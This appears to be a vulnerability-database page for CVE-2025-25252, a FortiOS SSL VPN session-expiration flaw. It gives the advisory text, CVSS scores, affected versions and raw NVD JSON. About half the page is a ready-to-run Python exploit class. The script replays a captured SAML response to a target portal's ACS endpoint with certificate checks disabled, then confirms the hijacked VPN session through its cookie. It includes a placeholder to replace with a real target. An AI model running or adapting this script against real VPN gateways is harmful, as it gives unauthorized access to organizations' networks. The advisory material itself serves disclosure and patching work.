Security Vulnerability Report
中文
CVE-2025-25252 CVSS 4.8 MEDIUM

CVE-2025-25252

Published: 2025-10-14 16:15:37
Last Modified: 2025-10-15 17:33:12

Description

An Insufficient Session Expiration vulnerability [CWE-613] in FortiOS SSL VPN 7.6.0 through 7.6.2, 7.4.0 through 7.4.6, 7.2.0 through 7.2.10, 7.0.0 through 7.0.16, 6.4 all versions may allow a remote attacker (e.g. a former admin whose account was removed and whose session was terminated) in possession of the SAML record of a user session to access or re-open that session via re-use of SAML record.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
FortiOS 7.6.0 - 7.6.2
FortiOS 7.4.0 - 7.4.6
FortiOS 7.2.0 - 7.2.10
FortiOS 7.0.0 - 7.0.16
FortiOS 6.4 全版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-25252 PoC - FortiOS SSL VPN SAML Session Reuse # This PoC demonstrates the concept of SAML record reuse attack # against FortiOS SSL VPN with insufficient session expiration. import requests import base64 import urllib.parse import re from typing import Optional class FortiOSSSLVPNExploit: """ PoC for CVE-2025-25252: Insufficient Session Expiration in FortiOS SSL VPN Allows reuse of SAML records to re-open terminated sessions. """ def __init__(self, target_url: str, saml_record: str): """ Initialize the exploit. :param target_url: FortiOS SSL VPN portal URL (e.g., https://victim.com/remote/login) :param saml_record: Base64-encoded SAML response captured previously """ self.target_url = target_url.rstrip('/') self.saml_record = saml_record self.session = requests.Session() def decode_saml(self) -> dict: """Decode the base64 SAML response and extract key fields.""" try: decoded = base64.b64decode(self.saml_record).decode('utf-8', errors='ignore') # Extract SessionIndex, NameID, and NotOnOrAfter fields session_index = re.search(r'SessionIndex="([^"]+)"', decoded) name_id = re.search(r'<saml:NameID[^>]*>([^<]+)</saml:NameID>', decoded) not_on_or_after = re.search(r'NotOnOrAfter="([^"]+)"', decoded) return { 'raw': decoded, 'session_index': session_index.group(1) if session_index else None, 'name_id': name_id.group(1) if name_id else None, 'not_on_or_after': not_on_or_after.group(1) if not_on_or_after else None } except Exception as e: print(f"[ERROR] Failed to decode SAML record: {e}") return {} def submit_saml_response(self) -> Optional[requests.Response]: """ Submit the captured SAML response to the FortiOS SSL VPN portal to re-establish a session using the previously captured SAML record. """ saml_info = self.decode_saml() if not saml_info.get('raw'): print("[ERROR] Invalid SAML record provided.") return None print(f"[*] Target: {self.target_url}") print(f"[*] Session Index: {saml_info.get('session_index')}") print(f"[*] NameID: {saml_info.get('name_id')}") print(f"[*] Original NotOnOrAfter: {saml_info.get('not_on_or_after')}") # Step 1: Get the SAML login page to obtain any CSRF tokens or cookies login_url = f"{self.target_url}/remote/saml/login/" try: resp = self.session.get(login_url, timeout=10, verify=False) print(f"[*] GET {login_url} -> {resp.status_code}") except Exception as e: print(f"[ERROR] Cannot reach target: {e}") return None # Step 2: Submit the SAML response (SAML POST binding) saml_post_url = f"{self.target_url}/remote/saml/login/?acs" post_data = { 'SAMLResponse': self.saml_record, 'RelayState': '/remote/login' } print(f"[*] Submitting captured SAML record to {saml_post_url}") try: resp = self.session.post( saml_post_url, data=post_data, timeout=10, verify=False, allow_redirects=False ) print(f"[*] POST response status: {resp.status_code}") # Check if session was re-established if resp.status_code in (302, 303) or 'SVPNCOOKIE' in self.session.cookies.get_dict(): print("[+] SUCCESS: Session re-established via SAML record reuse!") print(f"[+] Session cookies: {self.session.cookies.get_dict()}") return resp else: print("[-] Session re-establishment may have failed.") return resp except Exception as e: print(f"[ERROR] Failed to submit SAML response: {e}") return None def verify_session(self) -> bool: """Verify if the re-established session is valid by accessing VPN portal.""" portal_url = f"{self.target_url}/remote/login" try: resp = self.session.get(portal_url, timeout=10, verify=False) if 'SVPNCOOKIE' in self.session.cookies.get_dict() or resp.status_code == 200: print("[+] Session is valid. VPN portal accessible.") return True print("[-] Session verification failed.") return False except Exception as e: print(f"[ERROR] Session verification error: {e}") return False def main(): # Example usage - replace with actual target and captured SAML record TARGET = "https://fortigate-victim.example.com" # SAML record should be captured from a previous legitimate session # This is a placeholder base64-encoded SAML response SAML_RECORD = "PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iPjwvc2FtbHA6UmVzcG9uc2U+" print("=" * 60) print("CVE-2025-25252 - FortiOS SSL VPN SAML Session Reuse PoC") print("=" * 60) exploit = FortiOSSSLVPNExploit(TARGET, SAML_RECORD) result = exploit.submit_saml_response() if result and result.status_code in (302, 303, 200): exploit.verify_session() if __name__ == "__main__": # Suppress SSL warnings for PoC purposes import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-25252", "sourceIdentifier": "[email protected]", "published": "2025-10-14T16:15:36.683", "lastModified": "2025-10-15T17:33:12.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Insufficient Session Expiration vulnerability [CWE-613] in FortiOS SSL VPN 7.6.0 through 7.6.2, 7.4.0 through 7.4.6, 7.2.0 through 7.2.10, 7.0.0 through 7.0.16, 6.4 all versions may allow a remote attacker (e.g. a former admin whose account was removed and whose session was terminated) in possession of the SAML record of a user session to access or re-open that session via re-use of SAML record."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.4.0", "versionEndExcluding": "7.0.17", "matchCriteriaId": "71B60D86-1681-44AC-A5C5-3776BD07040B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.11", "matchCriteriaId": "4386465B-EFF9-41BA-B393-82135A2591DE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.7", "matchCriteriaId": "DE7A88C9-8466-4414-AECB-0689F23108CD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.3", "matchCriteriaId": "D6B883B9-9ECD-4BC5-B497-770F34F92473"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-487", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}